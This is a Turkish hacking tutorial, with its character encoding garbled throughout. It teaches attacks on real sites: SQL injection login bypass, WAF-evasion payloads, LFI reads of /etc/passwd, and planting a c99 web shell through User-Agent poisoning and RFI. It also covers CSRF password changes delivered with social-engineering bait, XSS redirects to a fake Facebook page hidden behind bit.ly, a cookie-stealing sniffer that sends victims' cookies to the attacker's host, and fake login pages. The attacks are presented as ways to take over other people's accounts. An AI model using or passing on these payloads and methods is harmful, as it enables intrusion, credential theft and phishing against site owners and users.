
Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz

Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu

f-) PostData SQL İnjection

Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl

Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan

ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz

Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza

Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz

ltform name=t1 method=POST action=loginaspxgt

Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır

Peki bu accedilığı nasıl kullanacağız

Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani

ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt

Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz

SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )

Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi

SQL İnjection Bypass

Merhaba arkadaşlar

Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur

SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir

a)

Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim

Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz

Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln

wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir

Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız

wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 5: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

c-) Ziyaretccedili Defterlerinde (STORED XSS)

Uumlstte goumlruumllen resim bir sitede bulunan ziyaretccedili defteridirZiyaretccedili Defterleri web sayfaları iccedilin ccediloktehlike arz eden yerlerdirBu zaafiyet tuumlruumlne STORED XSS Zaafiyeti denilirBuraya yazdığımız bir

HTML veya Javascript kodu herkez tarafından goumlruumllebildiği iccedilin sayfada ccedilalıştığında ziyaretccedili defterinegiren herkez tarafından sizin girdiğiniz kod ccedilalışacaktırYani gireceğiniz HTML Meta youmlnlendirme kodu

sayfaya giren şahısları hedef adreslere youmlnlendirecektirBu saldırıya biraz daha suumls katmak iccedilinPhising sayfanıza veya Fake sayfanıza youmlnlendirme yapabilirsinizŞimdi burada goumlruumllen kutucuklara

XSS Alert kodunu yazıyoruz

Eğer accedilık varsa sayfa bizim kodumuzu ccedilalıştıracaktırYani ekrana alert gelecektir

d-) Kayıt Formlarında

Kayıt Formları XSS Accedilığı iccedilin olanak sağlıyorKayıt Formları genellikle Forum sitelerdemevcutturForum siteleri ccediloğunluk olarak hazır sistem kullanırlar(MyBB Vb SMF vs vs)

Eğer bir forumda hazır sistem kuruluysa veya suumlruumlm olarak belirli bir suumlruumlmuuml varsa ki genelde olurExploit sitelerinden O sistemin suumlruumlmuumlnuuml araştırabilir XSS Accedilıkları mevcutsa Exploit yardımıyla accedilığısoumlmuumlrebilirsinizBiz sistem kullanılmayan bir forum sitesinden devam edelim ) Uumlstte goumlruumllduumlğuuml gibi birkayıt formu mevcutBuradaki kutucuklara tıpkı ziyaretccedili formlarındaki gibi XSS Alert kodlarımızı entegre

ediyoruzEğer accedilık mevcutsa alert alınır

e-) Yorum Formlarında

Bu şıkkımızı Cyber-Warriorrsquodan alıntı yaparak anlatayım

Goumlruumllduumlğuuml gibi bir konun altında mevcut olan yorum yazma texti

Burada Mesaj text boumlluumlmuumlne XSS Alert kodumuzu yazıyoruz

Evet XSS Alert kodumuzu da yazdıktan sonra cevap yaz butonuna tıklıyoruzEğer ki XSS Accedilığıolsaydı alert alacaktıkKonuya giren kişiler tarafından da goumlruumllecektiYani bu kod onlar konuya girildiği

esnada ccedilalışacak ve onlara da alert verecektiBuraya ben XSS Alert kodu değil de Fake sayfamayoumlnlendirmesi iccedilin bir kod yazsaydım konuya giren kişiler benim belirlediğim adrese youmlnlenecektiAma

oumlyle bir accedilık olmadığı iccedilin CW lsquode başka kapıya ))

6-Saldırı Anı (Accedilığın Bulunması) - Accedilığın Bypass Edilmesi(Engellerin Aşımı)

Bir Web Sayfası duumlşuumlnuumln wwwhedefcomindexphpid=

XSS Accedilığı arayalım hemen wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt

Yaptık Ekrana alert yansımadıPesmi edeceğiz Hayır tabi ki deHerşeyin bir yolu olduğu gibibununda bir yolu varNormal şartlarda bu sitede accedilık olduğunu duumlşuumlnuumlnAma bize alert vermediBizde

bu accedilığı bypass ederek ekrana alertrsquoımızı alacağızNasıl mı

a-) HTML Bypass Code

Evet ilk bypass youmlntemimizde ltscriptgtalert(ldquoMahserrdquo)ltscriptgt Alert kodumuzu HTML Encodeedecez yani ŞifreleyeceğizHemen bakalım

Ne Yaptık HTML Encoder ile kodumuzu şifreledikŞimdi bu şekilde accedilık analizi yapalım

wwwhedefcomindexphpid= ltscripttype=textjavascriptgtdocumentwrite(rsquou007Fu003Cu0073u0063u0072u0069u0070u0074u003Eu0061u006Cu0065u0072u0074u0028u0022u004Du0061u0068u0073u0065u0072u0022u0029u003Bu003Cu002Fu0073u0063u0072u0069u0070u0074u003Ersquo)ltscriptgt

Bu sefer ekrana alert yansıdığını goumlreceksiniz

b-) Bypass JavaScript Code

Evet bu şıkkımızda ise Javascript kodlarıyla oynayarak bypass youmlntemini gerccedilekleştiricezTekrarhedef site uumlzerine yoğunlaşalım

wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt

Şeklinde giriyoruzAlert alamadıkHemen kodlarla oynayalım farkı goumlrelim

Evet kodumuzla oynadık tekrar hedef site uumlzerinde accedilık analizi yaptığımızda alert alacağız

c-)Normal Bypass

Sıra Geldi Normal Bypass YolunaBu bypass tuumlruumlnde alert kodumuzla pek oynamayapmayacağızAlert kodumuzun başına bir muumldahalede bulunarak alert alacağız

Evet bu şekilde de farklı bir bypass youmlntemi uyguladıkBurada ki ldquogt kodu daha anlaşılır ve koda netlikkatarBu yolla da bir alert aldıkSıra geldi accedilığın uygun kullanımına

7-Saldırı Anı2 (Accedilığın Uygun Kullanımı) -

Cross Site Scripting accedilığını bulduktan sonra en oumlnemli faktoumlrlerden birisi de accedilığın uygunkullanımıdırAccedilığı ne kadar iyi soumlmuumlruumlrseniz sizin iccedilin o derece iyidirXSS Accedilığının sadece site

hacklemek iccedilin değil Siteye uumlye kişilerin bilgilerini almak iccedilin hesapları ele geccedilirmek iccedilin veya bir

kurbana phising fake benzeri sayfalar yutturmak iccedilin de kullanabilirsinizBiz bu sefer XSS Accedilığınıkurbanı fake facebook sayfamıza youmlnlendirmek iccedilin kullanacağızHemen başlıyoruz

Hedef sitemiz wwwtargetcom olsunAccedilığı bulduğumuz dosya homephp dosyası olsun ve veriyi idile ccedilagırsın wwwtargetcomhomephpid= şeklinde

Şimdi biz buraya oumlyle bir kod yazağız ki bizi hazırladığımız fake facebook sayfasına youmlnlendirsin

Yazacağımız kod şu şekildedir

wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref= wwwfakefacebooksayfamcomltscriptgt

Evet sorguyu site uumlstuumlnde ccedilagırdığımız da bizi wwwfakefacebooksayfamcom adresineyoumlnlendiricektirBunu kurbana atacaksınızFakat link ccedilok uzun kurbanımız burada bir şeytanlık

olduğunu anlayabilirPeki ne yapacağız httpsbitlycom adresine giriyoruzSağ uumlst koumlşede birkutucuk mevcutO kısma wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref=

wwwfakefacebooksayfamcom ltscriptgt

adresimizi yazıyoruz ve Shorten butonuna tıklıyoruz Burada yaptığımız işlem link kısaltmaktır

Bize httpbitly49856821 Şeklinde bir kısaltılmış link verecekKurban link kısa olduğu iccedilinşuumlphelenmezBu şekilde kurbana yedirme şansımız vardır

8-Saldırı Anı3 (Uygun Sniffer YazılımıSniffer Nedir)

Sniffer Nedir

Sniffer kelime manasıyla koklayıcı anlamına gelirSniffer birccedilok şeyi iccedilin kullanılabilirBiz burada XSSSniffer hazırlayacağızXSS Sniffer ne işe yarar diye soracaksınızBir XSS Accedilığı bulduğumuzu farzedelimAdmin in veya Siteye uumlye olan kullancıların Cookiersquolerini Ccedilalıcaz ve Kendi cookielerimizle

değiştirip o kullanıcı adına giriş yapmış olacağızBulduğumuz accedilığı Snifferrsquoa kuracağızDaha sonrakendi hostumuza atacaz ve snifferrsquoı kurbanrsquoa tıklatacağızBu Şekilde Kurbanın Cookielerini

ccedilalacağızYani biraz olsa da Sosyal Muumlhendislik ile alakalıdır

İşleme başlamadan Sniffer dosyalarını vereyim sizlere

Bu linkten ulaşabilirsiniz - gt httpswwwboxcomsd45q4d5ywdzxwcn7n7wn

Hemen kuruluma geccediliyoruz

Editleyeceğimiz dosyalar ldquochjs ve indexhtml ilk olarak chjs dosyasını accedilıyoruz

httpSİTE ADRESİSniffersnifferphpc= Şeklinde bir yazıyla karşılaşıyoruz SİTE ADRESİ yazankısma dosyaları atacağımız sitenin adresini yazıyoruz(Sniffer dosyası adı altında)

httpbenimsitemcomSniffersnifferphpc= kaydedip kapatıyoruz

Şimdi ise indexhtml dosyamızı editleyeceğiz Notepad de accediltığınızda httpXSS ADRESİ= şeklindebir yazıyla karşılaşacağızXSS Adresi yazan kısma XSS Accedilığını bulduğumuz siteyi yazalım

httptargetcomindexphpid= yazdıktan sonra biraz sag tarafta bulunan httpSİTEADRESİSnifferchjs

SİTE ADRESİ yazan kısmada uumlstte olduğu gibi kendi sitemizin adini yazıyoruz

httpbenimsitemcomSnifferchjs yazdıkKaydedip kapatıyoruz

Daha sonra sniffer klasoumlruumlmuumlzuuml sitemize FTP aracılığıyla atıyoruzHemen kendi sitemizdeccedilalıştırıyoruz snifferımızı httpbenimsitemcomSnifferlogphp şeklinde log panelimizi ccedilağırıyoruzBu

adres cookielerin log olarak tutulacağı adresdirGiriş yaptığımızda bizden Kullanıcı adı şifreisteyecektirKullanıcı adı admin şifresi adminrsquodir

Girdikten sonra bizi log paneline aktaracaktırAccedilığı bulduğumuz siteden bir kurbana veya adminrsquoe linkitıklatmadığımız iccedilin Log panelinde ldquoHenuumlz Log bulunamadırdquo şeklinde bir yazı ccedilıkacaktır

Bizim adminrsquoe tıklatmamız gereken link indexhtml dosyasıdırYanihttpbenimsitemcomSnifferindexhtml lsquodirBuraya girdiğiniz de bir admin paneli gelecek

karşımızaBu admin panelini sahte bir admin panelidirYani adminrsquoin anlamaması iccedilin kurulmuş birpaneldirSizin yapacağınız sadece adminrsquoe veya kurbana httpbenimsitemcomSnifferindexhtml

linkini tıklatmaktırBiraz sosyal muumlhendislik gerekiyor burada tıklatmak iccedilinTıklattıktan sonra adminrsquoinveya kurbanın cookie bilgileri

httpbenimsitemcomSnifferlogphp adresine gelecektir

9-Sonuccedil (Elimize Geccedilen Cookie (Ccedilerez)rsquoi Değiştirme ve Hedef Veriye Ulaşmak)

Cookieleri ccedilektik Cookiersquoler elimizdeCookielerin son satırında Username ve Password kısmıbulunmaktadırYani şu şekilde

[Username]= admin UserİnfoCookie[Password]= mahserat

Evet goumlruumllduumlğuuml gibi kullanıcı adı admin şifresi de mahserat mışBu şekilde Adminin BilgilerinedeErişmiş olduk

10-Cross Site Scripting Accedilığı Olan Bir Siteye Fake Login Sayfası Bırakmak

Son olarak XSS Accedilığı bulduğumuz bir siteye Fake bir Login sayfası bırakacağız

Accedilığı bulduğumuz link wwwsitecomindexphpid= olduğunu farz edelimBuraya HTML kodlarıyla birLogin Kısmı oluşturucağız

wwwsitecomindexphpid= gtlthmtlgtltheadgtltmeta content=texthtmlcharset=ISO-8859-1http-equiv=content-type gtlttitlegtlttitlegtltheadgtltbOdygtltdiv style=text-aling

